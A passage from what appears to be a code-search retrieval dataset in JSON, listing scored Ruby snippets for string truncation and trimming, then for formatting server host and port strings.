if str.size <= size\n (str.size > 3 && size > 3 ? str[0...size - 3] : str[0...size]) + '...'\nend", "title": "" }, { "docid": "b1cd88718b46a20958fe2fe8f2745830", "score": "0.61482376", "text": "def truncate(length = 100, truncate_string = \"...\")\n # First regex truncates to the length, plus the rest of that word, if any.\n # Second regex removes any trailing whitespace or punctuation (except ;).\n # Unlike the regular truncate method, this avoids the problem with cutting\n # in the middle of an entity ex.: truncate(\"this &amp; that\",9) => \"this &am...\"\n # though it will not be the exact length.\n\n return if self.blank?\n l = length - truncate_string.length\n self.length > length ? self[/\\A.{#{l}}\\w*\\;?/m][/.*[\\w\\;]/m] + truncate_string : self\n rescue\n self[0..100]\n end", "title": "" }, { "docid": "7eae24345523db39fd66cc85f38e2498", "score": "0.61445576", "text": "def truncate_words(text, length = 3, end_string = ' ...')\n return if text == nil\n words = text.split()\n words[0..(length-1)].join(' ') + (words.length > length ? end_string : '')\n end", "title": "" }, { "docid": "486069711040a9cfdd4c6ac46282e103", "score": "0.6143356", "text": "def truncate_words(text, length = 30, end_string = ' ...')\n return if text == nil\n words = text.split\n words[0..(length-1)].join(' ') + (words.length > length ? end_string : '')\n end", "title": "" }, { "docid": "46d44c4c713e121e01bc12451e06b7b9", "score": "0.61323255", "text": "def truncate(string, length = 20)\n string.size > length+5 ? [string[0,length],string[-5,5]].join(\"...\") : string\n end", "title": "" }, { "docid": "b26eafc6b9e80d08ff51617822fc5bef", "score": "0.612943", "text": "def remove_last_word lineno\n @list[lineno].chomp!\n line=@list[lineno]\n lastspace = line.rindex(\" \")\n if !lastspace.nil?\n lastchars = line[lastspace+1..-1]\n @list[lineno].slice!(lastspace..-1)\n $log.debug \" remove_last: lastspace #{lastspace},#{lastchars},#{@list[lineno]}\"\n fire_handler :CHANGE, InputDataEvent.new(lastspace,lastchars.length, self, :DELETE, lineno, lastchars) # 2008-12-26 23:06 \n return lastchars\n end\n return nil\n end", "title": "" }, { "docid": "dd44b825806754d318e9091376e64554", "score": "0.6126933", "text": "def head\n self[-(length),(length-trim)]\n end", "title": "" }, { "docid": "4832fe6f37ae2a2ce304404e909a9146", "score": "0.6120608", "text": "def trim\n object.fetch(:trim, self.skipInitialSpace ? 'start' : true)\n end", "title": "" }, { "docid": "c55e64ab544ca2003ae8029e02c66f95", "score": "0.6110397", "text": "def truncate(tweet)\n return tweet[0..136]+ \"...\"\nend", "title": "" }, { "docid": "97388f8f98aa3b1431357b312a27a060", "score": "0.61095124", "text": "def truncate_words(text, length = 30, end_string = ' …')\n return if text == nil\n words = text.split()\n words[0..(length-1)].join(' ') + (words.length > length ? end_string : '')\n end", "title": "" }, { "docid": "99f9b31fd7879b0a789d0b71b096fdb1", "score": "0.61011046", "text": "def suffix length = 1\n self[-length,length]\n end", "title": "" }, { "docid": "e451590547bc3cd712ccf3d837ec8ff6", "score": "0.60986024", "text": "def truncate(field_value)\n copy = String.new(field_value)\n if copy.length > self.field_length\n copy = copy[0..self.field_length-1]\n copy[-3..-1] = \"...\" unless self.field_length <= 3 # don't use ellipses when the string is tiny\n end\n copy\n end", "title": "" }, { "docid": "ef67defd5666af9ac1c32cb7c89b390d", "score": "0.6095743", "text": "def truncate(len=50)\n @text.length <= len ? @text : \\\n @text.sub(/^(.{1,#{len-3}})(.*)$/) { |s| $1 + '...' }\n end", "title": "" }, { "docid": "33a7029862ac7c7f2a6556bfb1df6e0e", "score": "0.6079149", "text": "def truncate\n @truncated ||= sanitize.chars.to_a.slice(0..254-@padding).join\n end", "title": "" }, { "docid": "960704d612dbaab4c76bc0b548ff22b1", "score": "0.6053316", "text": "def decrement_length!\n self.length = length.pred\n end", "title": "" }, { "docid": "403a34dfcaf88b6b8fa1cffebf38d538", "score": "0.6053093", "text": "def trim!\n # check if trimming is needed\n if (self.trim_max_length > 0) && (self.count > self.trim_max_length)\n last_tle = self.find(1, :skip => self.trim_max_length - 1).first\n if last_tle\n self.delete(:before => last_tle.activity.at)\n end\n end\n end", "title": "" }, { "docid": "e701cf9a37d4cf8db8ae84119bc26049", "score": "0.60478574", "text": "def t1_strip_length\n @t1_strip_length=if self.value_t1_default_strip_length && (self.value_t1_default_strip_length.to_f!=0)\n self.value_t1_default_strip_length\n else\n self.value_t1_strip_length\n end\n end", "title": "" }, { "docid": "7a7cc937efb982466bc6b11db1a983d5", "score": "0.6026483", "text": "def truncate(integer)\r\n\t\trequireWritable\r\n\t\traise Errno::EINVAL, \"Invalid argument - negative length\", caller if integer < 0\r\n\t\t@sio_string[[integer, @sio_string.length].max..-1] = \"\"\r\n\t\tinteger\r\n\tend", "title": "" }, { "docid": "324b52fbb42b617ceb9bb9a2edb61553", "score": "0.60209274", "text": "def trim_text(text, limit)\r\n Util.trim_text text, limit\r\n end", "title": "" }, { "docid": "a1bf59dc859ce8313611fd518f0af458", "score": "0.6018123", "text": "def word_truncate(length = 30, truncate_string = \"...\")\n return if self.nil?\n strip!\n l = length - truncate_string.length\n ret = self.length > length ? self[/\\A.{#{l}}\\w*\\;?/m][/.*[\\w\\;]/m] + truncate_string : self\n ret = ret.gsub(/&#39;/,\"'\")\n end", "title": "" }, { "docid": "6c10d21e87f0b22f13589cb5726f43cb", "score": "0.60078955", "text": "def truncate(len)\n raise(IOError, \"closing non-duplex IO for writing\") unless @writable\n raise(TypeError) unless len.respond_to?(:to_int)\n length = len.to_int\n raise(Errno::EINVAL, \"negative length\") if (length < 0)\n if length < @string.size\n @string[length .. @string.size] = \"\"\n else\n @string = @string.ljust(length, \"\\000\")\n end\n # send back what was passed, not our :to_int version\n len\n end", "title": "" }, { "docid": "157319b4556a11dddfb6379bdee4ed1e", "score": "0.59978163", "text": "def dc_limit_string(string, size)\n return string if string.size < size\n string = string[0,size]\n string.chop! until (string[-1,1] == ' ' or string == '')\n string << '...'\nend", "title": "" }, { "docid": "f45f763b6cdb6fba5a1d627faf3eed64", "score": "0.59969443", "text": "def dc_limit_string(string, size)\n return string if string.size < size\n\n string = string[0,size]\n string.chop! until (string[-1,1] == ' ' or string == '')\n string << '...'\nend", "title": "" }, { "docid": "f74252ab09dadb04696cf9e59864134e", "score": "0.5980497", "text": "def truncate(string, length:200)\n ActionView::Base.new.truncate(string, length: length)\n end", "title": "" }, { "docid": "299c01d60ad15b903e24d944d63dd888", "score": "0.59786236", "text": "def trim other = ' '\n ArelExtensions::Nodes::Trim.new [self, other]\n end", "title": "" }, { "docid": "94c872b978db38d91fa7120742a65577", "score": "0.5973046", "text": "def truncate(width)\n return @text if @max_width <= width\n\n (@text.length - 1).downto 0 do |i|\n truncated = \"#{@text[0..i]}#{ellipsis}\"\n cur_width, = $gtk.calcstringbox(truncated, @size, font)\n return truncated if cur_width <= width\n end\n\n \"\"\n end", "title": "" }, { "docid": "2c77ff0b9c928a3f1c0848ac065bda76", "score": "0.5961216", "text": "def word_wrap(text, _length = T.unsafe(nil)); end", "title": "" }, { "docid": "47d07fcd47610a94537213bdb28e4141", "score": "0.5952892", "text": "def trimmed_line_text; end", "title": "" }, { "docid": "050920b49854fa49f15fc9f743286d43", "score": "0.5950511", "text": "def truncate(length, options = {})\n\t\ttext = self.dup\n\t\toptions[:omission] ||= \"...\"\n\n\t\tlength_with_room_for_omission = length - options[:omission].mb_chars.length\n\t\tchars = text.mb_chars\n\t\tstop = options[:separator] ?\n\t\t\t(chars.rindex(options[:separator].mb_chars, length_with_room_for_omission) || length_with_room_for_omission) : length_with_room_for_omission\n\n\t\t(chars.length > length ? chars[0...stop] + options[:omission] : text).to_s\n\tend", "title": "" }, { "docid": "f159126fb64f14d21a761cd6c619fa40", "score": "0.5936737", "text": "def cut(string, size)\n string[0..size-1]\n end", "title": "" }, { "docid": "0b87e3ae434e19aa26df0c77ea919ba5", "score": "0.5932394", "text": "def truncate(t, length = 20, omis = \"...\")\n text = t.dup\n if text.length > length\n text = text[0...length].strip + omis\n end\n\n text\n end", "title": "" }, { "docid": "4f983fc262a2331eabf68916a431e709", "score": "0.5928268", "text": "def truncate(*args)\n options = args.extract_options!\n unless args.empty?\n options[:length] = args[0] || 30\n options[:omission] = args[1] || \"...\"\n end\n options.reverse_merge!(:length => 30, :omission => \"...\")\n\n l = options[:length] - options[:omission].mb_chars.length\n chars = self.mb_chars\n (chars.length > options[:length] ? chars[0...l] + options[:omission] : self).to_s\n end", "title": "" }, { "docid": "b9ac3dd3e8bc6e72b441d85784a71470", "score": "0.59199136", "text": "def truncate(string, length = 40)\n string.length > (length - 3) ? \"#{ string[0..length] }...\" : string\n end", "title": "" }, { "docid": "0b40b86bdb610f056e4f26f0e9372d64", "score": "0.591947", "text": "def word_truncate(length = 30, truncate_string = \"...\")\n return if self.nil?\n l = length - truncate_string.length\n ret = self.length > length ? self[/\\A.{#{l}}\\w*\\;?/m][/.*[\\w\\;]/m] + truncate_string : self\n ret = ret.gsub(/&#39;/,\"'\")\n end", "title": "" }, { "docid": "22b769ec39db904995e8dd71c28b4e51", "score": "0.5918812", "text": "def truncate_string(string)\n string[0..75]\nend", "title": "" }, { "docid": "78131883062001774371298bbab14d33", "score": "0.5902054", "text": "def truncate_paragraph(long_str, num_characters, truncated_indicator=\"...\")\n #if truncate_paragraph.length.max>20\n \nif long_str.length > num_characters\n long_str2 = long_str[0..num_characters-1] += (\" \" + truncated_indicator)\n return long_str2\n else return long_str\nend\nend", "title": "" }, { "docid": "d1bacdeef27dda894345145506494cd9", "score": "0.5895727", "text": "def truncate(length = 3)\n s_code = code.to_s\n if s_code.length <= length then\n s_code\n else\n s_code[0,length]\n end\n end", "title": "" }, { "docid": "5577c58e07b8ef0baa5ef9a4e184c6e4", "score": "0.5894148", "text": "def remove_from_segment segment\n\t\tif @mode == :tron then return 0 end\n\n\t\ttotal = @tail.length\n\t\[email protected]!(@tail.index(segment), @tail.length)\n\n\t\tif @tail.length <= 0 \n\t\t\t@isDead = true\n\t\tend\n\t\t\n\t\treturn total - @tail.length\n\tend", "title": "" }, { "docid": "ce0ad8e73c04f83afe87ac69d8597eab", "score": "0.5881938", "text": "def ltrim(key, start, stop)\n\t\t\t\t\tcall('LTRIM', key, start, stop)\n\t\t\t\tend", "title": "" }, { "docid": "ce0ad8e73c04f83afe87ac69d8597eab", "score": "0.5881938", "text": "def ltrim(key, start, stop)\n\t\t\t\t\tcall('LTRIM', key, start, stop)\n\t\t\t\tend", "title": "" }, { "docid": "e6daa199ad17d328d9442b4af4540680", "score": "0.5869056", "text": "def consume_length\n length = @string[@pos...@pos+6].to_i\n @pos += 7\n length\n end", "title": "" }, { "docid": "78f11f827e419d71060da990367b3d5c", "score": "0.58634824", "text": "def getTrimmedText(until_tag = T.unsafe(nil)); end", "title": "" }, { "docid": "626ac1287a2c4997570662d6d72ef3c9", "score": "0.58614224", "text": "def truncate_words(words_count, options = T.unsafe(nil)); end", "title": "" }, { "docid": "626ac1287a2c4997570662d6d72ef3c9", "score": "0.58614224", "text": "def truncate_words(words_count, options = T.unsafe(nil)); end", "title": "" }, { "docid": "624742eb754c7115770c21ea736b873a", "score": "0.5859382", "text": "def lead(length = 230)\n h.truncate(description, length: length, separator: ' ')\n end", "title": "" }, { "docid": "7a9d10e5bcfb8a857e4cb8923ad8b5ac", "score": "0.58589965", "text": "def truncate!(max)\n @wrapped_string = self[0...max].to_s if length > max\n end", "title": "" }, { "docid": "43674c4f55abe19942089169b7b19648", "score": "0.5857813", "text": "def truncate(str, charlimit, terminator='...')\n if str.length <= charlimit\n str\n else\n str[0..(charlimit-terminator.length-1)] + terminator\n end\n end", "title": "" }, { "docid": "3050ab63f50694ab03f589b417c209b5", "score": "0.58385193", "text": "def trim_trailing_whitespace\n attributes.fetch(:trimTrailingWhitespace)\n end", "title": "" }, { "docid": "bc8edd10568c72de2315d338d24ce7e2", "score": "0.5828886", "text": "def summarize(len)\n if self.size <= len\n summary = self\n else\n split = self.rindex(' ', len)\n split = len if split.nil?\n summary = self[0,split]\n summary << \"...\"\n end\n summary\n end", "title": "" }, { "docid": "a35aaddbf7ce7f7635dd75742873cdcc", "score": "0.582216", "text": "def truncate(str, length=10, strip=false)\n \n str = strip_html(str) if strip\n \n str = str.split(\" \")[0..length].join(\" \")\n str += \"...\" if str.split(\" \").length > length \n \n return str\n \n end", "title": "" }, { "docid": "261d6caa4fb83fdcd28a5577e9f9782a", "score": "0.5821337", "text": "def truncate_string(str)\n return if str.nil?\n str[0..254]\n end", "title": "" }, { "docid": "1b9652f37f0f3fb353b1b3c683a7d0f3", "score": "0.58199275", "text": "def awesome_truncate(text, length = 20, truncate_string = \"...\")\n return if text.nil?\n l = length - truncate_string.length\n half = l/2\n pref = text[/\\A.{#{half}}\\w*\\;?/m][/.*[\\w\\;]/m]\n text.length > length ? text[/\\A.{#{half}}\\w*\\;?/m][/.*[\\w\\;]/m] + truncate_string : text\n# text.length > length ? text[/\\A.{#{l}}\\w*\\;?/m][/.*[\\w\\;]/m] + truncate_string : text\n end", "title": "" }, { "docid": "048b03f38c3cbb19b7136581599fac3e", "score": "0.5819051", "text": "def trim_right(s)\n i = s.length - 1\n while i >= 0 && s[i] == '0'\n i -= 1\n end\n rs = s[0..i]\n rs\n end", "title": "" }, { "docid": "14850dd5ccf7ba9cf73e61538febd4e4", "score": "0.5810795", "text": "def truncate(string, length = 30, ellipsis = '...')\n return string unless string.length > length\n string[0..(length - ellipsis.length - 1)] + ellipsis\n end", "title": "" }, { "docid": "7384c67a5fa5cab8fef4bf042a04487a", "score": "0.5810364", "text": "def length_of_last_word(s)\n words = s.split(\" \")\n words.empty? ? 0 : words[-1].length \nend", "title": "" }, { "docid": "11e54a09f5971ae5d215b0df4936ae23", "score": "0.5807624", "text": "def shortened_tweet_truncator(tweet)\n if tweet.length > 140\n tweet = tweet[0..136] + \"...\"\n else\n tweet\n end\nend", "title": "" }, { "docid": "3846da240ee3c053d73dc47c16269ac2", "score": "0.58070695", "text": "def xtrim(key, maxlen, approximate: T.unsafe(nil)); end", "title": "" }, { "docid": "a8a82a375399d95e4a00b7df34c52394", "score": "0.57995075", "text": "def ltrim(chars)\n _trim(\"^%s*\", chars)\n end", "title": "" }, { "docid": "012c3c00f17c43356551aecb21890d10", "score": "0.57924753", "text": "def trim_trailing_whitespace(content)\n content.rstrip\n end", "title": "" }, { "docid": "a81ba794fc55f96fc017e970f17713ad", "score": "0.57911843", "text": "def pad_or_trim!( final_length, pad_byte=\"\\x36\" )\n self.slice!(final_length..-1)\n self << pad_byte * (final_length - self.length)\n return self\n end", "title": "" }, { "docid": "256e12dc0498afedcbd3573874c72567", "score": "0.5788833", "text": "def text_length_development\n @text = text[0, 2000]\n end", "title": "" }, { "docid": "e966d9434c67dd6c4f3c8b124f685a76", "score": "0.57876396", "text": "def trim_description(description)\n description = description.slice(0, 255) + '...' unless description.length <= 255\n description\n end", "title": "" }, { "docid": "92a0b83eeb1c3572ed20720950fa1233", "score": "0.57675564", "text": "def chars_left\n @str.rest_size\n end", "title": "" }, { "docid": "191a430fc4a91c6cd757c25e45b0aa0a", "score": "0.5762173", "text": "def truncated_title\n title.chomp.slice(0..(width - 5))\n end", "title": "" }, { "docid": "097f46a4fb33a3e38b4f7584d74f357d", "score": "0.5759572", "text": "def truncate_ends(text, length, omission, separator)\n text_width = display_width(Strings::ANSI.sanitize(text))\n omission_width = display_width(omission)\n return text if text_width <= length\n return omission if length <= 2 * omission_width\n\n from = (text_width - length) / 2 + omission_width\n words, stop = *slice(text, from, length - 2 * omission_width,\n omission_width: omission_width,\n separator: separator)\n return omission if words.empty?\n\n \"#{omission if from > 0}#{words}#{omission if stop}\"\n end", "title": "" }, { "docid": "2953c7319e6341d8aaae3dcba94aa4aa", "score": "0.57587373", "text": "def trim\n content.shift while !content.empty? && (content[0].empty? || content[0].join.strip.empty?)\n content.pop while !content.empty? && (content[-1].empty? || content[-1].join.strip.empty?)\n self\n end", "title": "" }, { "docid": "5f1900b650391cba029a28965d740f70", "score": "0.5751998", "text": "def trim_text(txt, limit)\n if txt\n txt = (txt.size > limit) ?\n (txt.slice(0, limit ) + \"...\") :\n txt\n else\n txt = \"\"\n end\n end", "title": "" } ]
e87d63499662edf7dea5a7979e14b342
The server's 'string' is server:port format.
[ { "docid": "bc2f4d074ab29fe90acda46c83d5b14c", "score": "0.0", "text": "def to_s\n \"#{@addr}:#{@port}\"\n end", "title": "" } ]
[ { "docid": "61805a0ef3c9e3676ed2de8f4da915d6", "score": "0.7921368", "text": "def server\n \"#{@host}:#{@port}\"\n end", "title": "" }, { "docid": "ddcb1dbd680011b3904e84f981928830", "score": "0.7531363", "text": "def server=(server)\n @host, @port = server.split(':')\n @port = (@port || DEFAULT_PORT).to_i\n server\n end", "title": "" }, { "docid": "95682fa7304337ba45f0ed25f382427e", "score": "0.72671956", "text": "def server_id\n\t\t\t\"#{@ip}:#{@port}\"\n\t\tend", "title": "" }, { "docid": "3ad8f36b03cd67bde9f267f7a81ea24b", "score": "0.71524656", "text": "def host_with_port\n @host_with_port ||= \"#{server}:#{port}\"\n end", "title": "" }, { "docid": "e3a37603071312b62f530c19560a229f", "score": "0.7131009", "text": "def host_with_port\n \"#{host}#{port_string}\"\n end", "title": "" }, { "docid": "59ce07f27b253e53accc68e04bd6df7c", "score": "0.71073717", "text": "def host_with_port\n \"#{host}#{port_string}\"\n end", "title": "" }, { "docid": "59ce07f27b253e53accc68e04bd6df7c", "score": "0.7106548", "text": "def host_with_port\n \"#{host}#{port_string}\"\n end", "title": "" }, { "docid": "875e028e4e92d109b68f8ba7d72d2b9b", "score": "0.708606", "text": "def host_port\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "773f6a4cc95bb56ec272d4662bfbd921", "score": "0.70616716", "text": "def host_with_port\n \"#{host}#{port_string}\"\n end", "title": "" }, { "docid": "f1f41f3e8a42865b530514da7e800221", "score": "0.7054624", "text": "def server_port; end", "title": "" }, { "docid": "e8a2c40301f814d6b3c478f77a055696", "score": "0.7051285", "text": "def server_url\n url_host = ['0.0.0.0', '127.0.0.1'].include?(host) ? 'localhost' : host\n \"http://#{url_host}:#{port}\"\n end", "title": "" }, { "docid": "08c0b730eecdac55a8fe204929191939", "score": "0.70420533", "text": "def server_port\n @@server_port\n end", "title": "" }, { "docid": "7c3bf06e5432bc0435ef3492672c4f92", "score": "0.7014902", "text": "def hostname_port\n \"#{server_name}:#{server_port}\"\n end", "title": "" }, { "docid": "d191541933e1e1ce7cf5a7a416c1437e", "score": "0.69664395", "text": "def port\n server.addr(false)[1]\n end", "title": "" }, { "docid": "d8e604e03b97c38e6749e63dc9a5a077", "score": "0.694281", "text": "def server_url\n port = config[:ports].sample\n \"#{config[:hostname]}:#{port}#{config[:pathname]}\"\n end", "title": "" }, { "docid": "ebe34c39a9c64838f7afc9758f9f41b4", "score": "0.69067717", "text": "def port_string; end", "title": "" }, { "docid": "eb9d89163ad46a9a7ba6a823012a073a", "score": "0.68943095", "text": "def raw_host_with_port; end", "title": "" }, { "docid": "2168b8579459044e0eacee3e957667ef", "score": "0.68651885", "text": "def host\n raw_host_with_port.sub(/:\\d+$/, '')\n end", "title": "" }, { "docid": "d9e4290076a741973e8a785bf051fe5a", "score": "0.68612367", "text": "def port\n server.connect_address.ip_port\n end", "title": "" }, { "docid": "134993b6ec507bf14ff403c21dfbb0cd", "score": "0.684025", "text": "def server_port(id = '__default__')\n @servers[id].port\n end", "title": "" }, { "docid": "e47dde459798d82cafc2f2d4a1888e99", "score": "0.68048126", "text": "def host_with_port; end", "title": "" }, { "docid": "60fbf0dd63d54deb9b7f848812d580f4", "score": "0.6790827", "text": "def actual_port\n server.actual_port\n end", "title": "" }, { "docid": "157224f92d5ff6ed99b19671a76219c0", "score": "0.6729894", "text": "def port_string\n standard_port? ? \"\" : \":#{port}\"\n end", "title": "" }, { "docid": "9daff0ccc32cc3a81569ab7cc10dd0e2", "score": "0.6720807", "text": "def server_port ; @env['SERVER_PORT' ].to_i ; end", "title": "" }, { "docid": "90ef95a0c9d52819936e24f923ae54cf", "score": "0.6720554", "text": "def addr\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "feb7fb3e0cc571adcd3ea9e025aa944a", "score": "0.6708817", "text": "def host\n raw_host_with_port.sub(/:\\d+$/, \"\")\n end", "title": "" }, { "docid": "5320ac168f37a2acd8b1eea273a45623", "score": "0.6708542", "text": "def host\n raw_host_with_port.sub(/:\\d+$/, '')\n end", "title": "" }, { "docid": "5320ac168f37a2acd8b1eea273a45623", "score": "0.6708542", "text": "def host\n raw_host_with_port.sub(/:\\d+$/, '')\n end", "title": "" }, { "docid": "6a2c9acfb76a2801ec8375f0fa359695", "score": "0.6702572", "text": "def server_port\n get_header(\"SERVER_PORT\").to_i\n end", "title": "" }, { "docid": "76367c312a7b1ed029c26fd59c6e5d5d", "score": "0.6694071", "text": "def server_port\n File.read(File.join(File.dirname(__FILE__), '../tmp/server_port')).strip.chomp\n rescue => err\n err.message = \"Failed to retrieve test server port. Are you sure test server is running? #{err.message}\"\n raise err\n end", "title": "" }, { "docid": "71db7496d036b8bbd6f241f8bfb29613", "score": "0.668164", "text": "def port_string\n port == standard_port ? '' : \":#{port}\"\n end", "title": "" }, { "docid": "1e63d7bd6ee35e368628d2ff4761aa06", "score": "0.6675621", "text": "def server_address\n return @address.to_s.gsub(/([^\\/])$/, '\\1/')\n end", "title": "" }, { "docid": "003985ab3c609fd7a3685016415b7cde", "score": "0.66400516", "text": "def port\n raise \"Http-server not spawned yet. Call Knjappserver#start to spawn it.\" if !@httpserv\n return @httpserv.server.addr[1]\n end", "title": "" }, { "docid": "e02a8b81e81f3bde8f816372f95eeb10", "score": "0.66072613", "text": "def port_string\n port == standard_port ? '' : \":#{port}\"\n end", "title": "" }, { "docid": "e02a8b81e81f3bde8f816372f95eeb10", "score": "0.66072613", "text": "def port_string\n port == standard_port ? '' : \":#{port}\"\n end", "title": "" }, { "docid": "0f99bec93d424ca55589bcdf934d20e2", "score": "0.65377754", "text": "def port\n properties[\"server-port\"] || 25565\n end", "title": "" }, { "docid": "7a0b3e671127c59e6a6b185764736c5d", "score": "0.64845216", "text": "def raw_host_with_port\n @host + ':' + @port.to_s\n end", "title": "" }, { "docid": "1d02637c09d70717db26a64093310a40", "score": "0.64417607", "text": "def serverDetails( port )\n @port = port\n end", "title": "" }, { "docid": "1d02637c09d70717db26a64093310a40", "score": "0.6441025", "text": "def serverDetails( port )\n @port = port\n end", "title": "" }, { "docid": "67aca6f89e99e3c48de9ee805e4beee1", "score": "0.6440848", "text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end", "title": "" }, { "docid": "9b572f6a71f4f55f907de8091bbdab75", "score": "0.6416903", "text": "def port; uri.port; end", "title": "" }, { "docid": "9e39e70c1610a0c875021e6f3a8c112c", "score": "0.6347383", "text": "def server(address:, port:)\n @address = address\n @port = port\n self\n end", "title": "" }, { "docid": "f9f71f22db4ee1a3bb10b432a29345ca", "score": "0.634506", "text": "def bound_port\n @server_socket.addr[1]\n end", "title": "" }, { "docid": "e58689125c964605ffb761668921ceb6", "score": "0.63395065", "text": "def serverStr=(aNewServer,port=80)\n @serverStr = aNewServer\n @h = Net::HTTP.new(@serverStr,port)\n end", "title": "" }, { "docid": "3d459942b2fc81e618b4c678128b61e4", "score": "0.632549", "text": "def client_port; end", "title": "" }, { "docid": "1bc049161a9fbd9534e86dbea191b0b1", "score": "0.6323915", "text": "def to_s\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "1bc049161a9fbd9534e86dbea191b0b1", "score": "0.6323915", "text": "def to_s\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "a9a89a929734783e11312118e28d2269", "score": "0.63170654", "text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end", "title": "" }, { "docid": "a9a89a929734783e11312118e28d2269", "score": "0.63170654", "text": "def port\n if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end", "title": "" }, { "docid": "545a83a3b9cda39df2bd99a01f20309c", "score": "0.6313848", "text": "def hue_server(config); \"http://#{config['ip']}\"; end", "title": "" }, { "docid": "1b4fb071440155422eaf6b0fc12d8c32", "score": "0.6313591", "text": "def server\n return unless @prefix\n return if @prefix.match(/[@!]/)\n @server ||= @prefix[/^(\\S+)/, 1]\n end", "title": "" }, { "docid": "91b9eb588a7524f0f748dee7cddda35a", "score": "0.6305278", "text": "def to_s\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "85b5a7f340e8ed6e63bd4ba4a3626f47", "score": "0.6283758", "text": "def socket_address\n \"#{host}:#{port}\"\n end", "title": "" }, { "docid": "e43b3928ac33e26d67acb61f3f5aa43e", "score": "0.6257067", "text": "def lookup_server_uri\n if service_directory.running?\n listing = service_directory.lookup(service)\n host, port = listing.address, listing.port if listing\n end\n\n host, port = options[:host], options[:port] unless host && port\n\n \"tcp://#{host}:#{port}\"\n end", "title": "" }, { "docid": "75314ed3023a9c427ec5fc169f31570d", "score": "0.62516516", "text": "def to_host_s\n \"#{host_port}\"\n end", "title": "" }, { "docid": "fb2b2f53f19fd88445d08627239c3947", "score": "0.62504077", "text": "def parse_server_url(full_url)\n uri = URI.parse(full_url)\n uri_s = uri.scheme + \"://\" + uri.host\n uri_s = uri_s + \":\" + uri.port.to_s if uri.port != uri.default_port\n uri_s\n end", "title": "" }, { "docid": "e8fd5504c68ee40da7454cf3c5a2614d", "score": "0.6244993", "text": "def port\n uri.port\n end", "title": "" }, { "docid": "b27644940edfe7033a9dd1d64e546b23", "score": "0.6241533", "text": "def log_server_port\n app.log_server_port\n end", "title": "" }, { "docid": "05fcf96d779ba400ed7e33163a75bc72", "score": "0.622387", "text": "def current_server\n \"#{request.protocol}#{request.host_with_port}\"\n end", "title": "" }, { "docid": "8c1f87f0a2a658bf2361c7c7f4a5274f", "score": "0.62072384", "text": "def port; self[:port] end", "title": "" }, { "docid": "3ea0a0dd0d6365a10c1936b0bdcfb322", "score": "0.620558", "text": "def port\n @port ||= if raw_host_with_port =~ /:(\\d+)$/\n $1.to_i\n else\n standard_port\n end\n end", "title": "" }, { "docid": "326cf5f68a7bb57b8f251df3f205e4fd", "score": "0.6204469", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "326cf5f68a7bb57b8f251df3f205e4fd", "score": "0.6204469", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "326cf5f68a7bb57b8f251df3f205e4fd", "score": "0.6204469", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "326cf5f68a7bb57b8f251df3f205e4fd", "score": "0.6204469", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "326cf5f68a7bb57b8f251df3f205e4fd", "score": "0.6204469", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "b8ea92040430a753ad80059d1da81a0c", "score": "0.6202326", "text": "def current_server\n \"#{request.protocol}#{request.host_with_port}\"\n end", "title": "" }, { "docid": "c39a5939cf88bf98ff93474821d56fcb", "score": "0.61645895", "text": "def server\n socket ? socket.address.to_s : nil\n end", "title": "" }, { "docid": "2a68f31845eea61395e320d43af75a0e", "score": "0.6146817", "text": "def server\r\n @server ||= TCPServer.open(options.fetch('localhost', @portnumber))\r\n end", "title": "" }, { "docid": "aa6c09dd14c62d6d9121f47b18a48789", "score": "0.6142986", "text": "def connection_string\n \"#{configuration.host}:#{configuration.port}\"\n end", "title": "" }, { "docid": "8e1a98564e9667f5cffd091d31757ee6", "score": "0.6134847", "text": "def to_s\n if port\n if host.include?(':')\n \"[#{host}]:#{port}\"\n else\n \"#{host}:#{port}\"\n end\n else\n host\n end\n end", "title": "" }, { "docid": "f15a33a455d20148b0ce828b6626f327", "score": "0.6131697", "text": "def actual_port; end", "title": "" }, { "docid": "f15a33a455d20148b0ce828b6626f327", "score": "0.6131697", "text": "def actual_port; end", "title": "" }, { "docid": "f15a33a455d20148b0ce828b6626f327", "score": "0.6131697", "text": "def actual_port; end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def set_Server(value)\n set_input(\"Server\", value)\n end", "title": "" }, { "docid": "1ffd81c50da00f0c52e15c4ff8cbdd23", "score": "0.61253643", "text": "def 